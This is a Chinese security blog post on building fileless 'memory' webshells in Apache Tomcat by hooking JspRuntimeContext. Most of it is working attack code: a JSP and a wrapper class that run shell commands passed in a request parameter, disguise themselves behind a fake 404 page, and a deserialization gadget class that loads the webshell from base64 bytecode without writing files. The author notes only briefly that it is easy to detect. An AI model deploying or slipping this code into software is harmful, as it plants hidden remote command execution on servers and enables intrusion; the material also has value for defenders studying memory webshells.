浅析JSP型内存马

本文发于先知社区:https://xz.aliyun.com/t/11020

前言

文章介绍了两种实现jsp型内存马内存驻留的思路:

  • 反射关闭development属性,即从开发模式转为生产模式
  • 修改Options对象的modificationTestInterval属性,即修改Tomcat检查JSP更新的时间间隔

这两种都是属于在开发模式下才需要进行的修改,生产环境对JSP的检查是通过checkInterval属性,不过由于一般遇到的都是开发模式,便不再深究。

从Servlet型获得jspServlet型

文章中介绍的思路总的来说都是通过中断tomcat对JSP的检查机制,防止初次加载后再产生编译文件,而初次加载的JSP文件会产生落地行为,因为JspServlet#serviceJspFile会通过查找JSP文件是否存在再装载wrapper

然后处理JSP Servlet默认的JspServletWrapper类也会因为mustCompile初始值为true对JSP compile,这也是上文中师傅对后续JSP检查提出绕过的地方。

那么我们是否可以换一种思路,jsp也是一种特殊的servlet型,所以就用servlet那一套,先上一段servlet型内存马代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<%
  Field reqF = request.getClass().getDeclaredField("request");
  reqF.setAccessible(true);
  Request req = (Request) reqF.get(request);
  StandardContext context = (StandardContext) req.getContext();

  Servlet servlet = new ServletTest(); // 继承Servlet类的子类
  String name = servlet.getClass().getSimpleName();

  org.apache.catalina.Wrapper newWrapper = context.createWrapper();
  newWrapper.setName(name);
  newWrapper.setLoadOnStartup(1);
  newWrapper.setServlet(servlet);
  newWrapper.setServletClass(servlet.getClass().getName());

  context.addChild(newWrapper);
  context.addServletMappingDecoded("/cmd",name);
%>

可以看到基本逻辑是获取上下文对象StandardContext然后动态添加映射规则,因此猜测jsp是否也可以这样做?

激情动调一遍,可以在JspServlet#serviceJspFile方法中发现以下代码:

既然我们的目标是不产生文件落地,那么就只需要关注红框代码就可以了,先从JspRuntimeContext中寻找访问地址对应的处理类(一般都是图中的JspServletWrapper类),然后跳过判断调用service方法。到这里已经和servlet很像了,所以自然而然地就会想到如果可以控制JspRuntimeContext中的内容是不是就可以实现无文件落地的效果,从上图可以发现JspRuntimeContext对象确实提供了addWrapper(String jspUri, JspServletWrapper jsw)方法,两个参数分别是访问地址和处理类。

至此编写思路就呼之欲出了,先定义一个继承JspServletWrapper类的子类,覆写service方法免于执行compile流程,接着控制JspRuntimeContext#addWrapper方法绑定映射规则:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
    class MemJspServletWrapper extends JspServletWrapper {

        public MemJspServletWrapper(ServletConfig config, Options options, JspRuntimeContext rctxt) {
            super(config, options, "", rctxt); // jspUri随便取值
        }

        @Override
        public void service(HttpServletRequest request, HttpServletResponse response, boolean precompile) throws ServletException, IOException, FileNotFoundException {
            String cmd = request.getParameter("jspservlet");
            if (cmd != null) {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")){
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                PrintWriter out = response.getWriter();
                out.println(output);
                out.flush();
                out.close();
            } else {
                // 伪造404页面
                String msg = Localizer.getMessage("jsp.error.file.not.found", new Object[]{"/tyskill.jsp"});
                response.sendError(404, msg);
            }
        }
    }
%>
<%
    //从request对象中获取request属性
    Field _request = request.getClass().getDeclaredField("request");
    _request.setAccessible(true);
    Request __request = (Request) _request.get(request);
    //获取MappingData
    MappingData mappingData = __request.getMappingData();
    //获取Wrapper
    Field _wrapper = mappingData.getClass().getDeclaredField("wrapper");
    _wrapper.setAccessible(true);
    Wrapper __wrapper = (Wrapper) _wrapper.get(mappingData);
    //获取jspServlet对象
    Field _jspServlet = __wrapper.getClass().getDeclaredField("instance");
    _jspServlet.setAccessible(true);
    Servlet __jspServlet = (Servlet) _jspServlet.get(__wrapper);
    // 获取ServletConfig对象
    Field _servletConfig = __jspServlet.getClass().getDeclaredField("config");
    _servletConfig.setAccessible(true);
    ServletConfig __servletConfig = (ServletConfig) _servletConfig.get(__jspServlet);
    //获取options中保存的对象
    Field _option = __jspServlet.getClass().getDeclaredField("options");
    _option.setAccessible(true);
    EmbeddedServletOptions __option = (EmbeddedServletOptions) _option.get(__jspServlet);
    // 获取JspRuntimeContext对象
    Field _jspRuntimeContext = __jspServlet.getClass().getDeclaredField("rctxt");
    _jspRuntimeContext.setAccessible(true);
    JspRuntimeContext __jspRuntimeContext = (JspRuntimeContext) _jspRuntimeContext.get(__jspServlet);
    JspServletWrapper memjsp = new MemJspServletWrapper(__servletConfig, __option, __jspRuntimeContext);

    __jspRuntimeContext.addWrapper("/tyskill.jsp", memjsp);
%>

反序列化注入内存马

既然要无文件落地,肯定不能通过JSP来注入内存马,还是应该通过反序列化来注入,所以接下来就要解决request隐式对象的获取问题,不过进行一些尝试之后没办法从正常Servlet获得的Request对象来获取JspServlet对象,因此只能掏出https://github.com/c0ny1/java-object-searcher寻找类

1
2
3
4
5
6
7
8
java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys = new java.util.ArrayList<>();
keys.add((new me.gv7.tools.josearcher.entity.Keyword.Builder()).setField_type("JspServlet").build());
keys.add((new me.gv7.tools.josearcher.entity.Keyword.Builder()).setField_type("JspRuntimeContext").build());
me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher = new me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.currentThread(),keys);
searcher.setIs_debug(true);
searcher.setMax_search_depth(50);
searcher.setReport_save_path("E:\\tmp");
searcher.searchObject();

最后找到了两条可获取JspServlet的方法,挑一条编写,代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Container;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.jasper.EmbeddedServletOptions;
import org.apache.jasper.Options;
import org.apache.jasper.compiler.JspRuntimeContext;
import org.apache.jasper.servlet.JspServletWrapper;

import javax.servlet.Servlet;
import javax.servlet.ServletConfig;
import java.util.HashMap;

public class InjectToJspServlet extends AbstractTranslet {
    private static final String jsppath = "/tyskill.jsp";

    public InjectToJspServlet() {
        try {
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources();
            StandardContext standardContext = (StandardContext) standardroot.getContext();
            //从 StandardContext 基类 ContainerBase 中获取 children 属性
            HashMap<String, Container> _children = (HashMap<String, Container>) getFieldValue(standardContext,
                    "children");
            //获取 Wrapper
            Wrapper _wrapper = (Wrapper) _children.get("jsp");
            //获取jspServlet对象
            Servlet _jspServlet = (Servlet) getFieldValue(_wrapper, "instance");
            // 获取ServletConfig对象
            ServletConfig _servletConfig = (ServletConfig) getFieldValue(_jspServlet, "config");
            //获取options中保存的对象
            EmbeddedServletOptions _option = (EmbeddedServletOptions) getFieldValue(_jspServlet, "options");
            // 获取JspRuntimeContext对象
            JspRuntimeContext _jspRuntimeContext = (JspRuntimeContext) getFieldValue(_jspServlet, "rctxt");

            String clazzStr = "..."; // 上面代码中MemJspServletWrapper类字节码的base64编码字符串
            byte[] classBytes = java.util.Base64.getDecoder().decode(clazzStr);

            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class,
                    int.class);
            method.setAccessible(true);
            Class clazz = (Class) method.invoke(classLoader, classBytes, 0, classBytes.length);

            JspServletWrapper memjsp = (JspServletWrapper) clazz.getDeclaredConstructor(ServletConfig.class, Options.class,
                    JspRuntimeContext.class).newInstance(_servletConfig, _option, _jspRuntimeContext);

            _jspRuntimeContext.addWrapper(jsppath, memjsp);

        } catch (Exception ignored) {}
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    private static Object getFieldValue(Object obj, String fieldName) throws Exception {
        java.lang.reflect.Field declaredField;
        java.lang.Class clazz = obj.getClass();
        while (clazz != Object.class) {
            try {
                declaredField = clazz.getDeclaredField(fieldName);
                declaredField.setAccessible(true);
                return declaredField.get(obj);
            } catch (Exception ignored){}
            clazz = clazz.getSuperclass();
        }
        return null;
    }
}

总结

不足

  • 由于jsp的servlet处理类一般都是JspServletWrapper类,所以对于这种自己实现JspServletWrapper类的方法很容易就可以被查杀
  • 由于jsp的局限性,在MVC架构的背景下应用场景也不大

版本差异

tomcat7:<%@ page import="org.apache.tomcat.util.http.mapper.MappingData" %>
tomcat8/9:<%@ page import="org.apache.catalina.mapper.MappingData" %>

Reference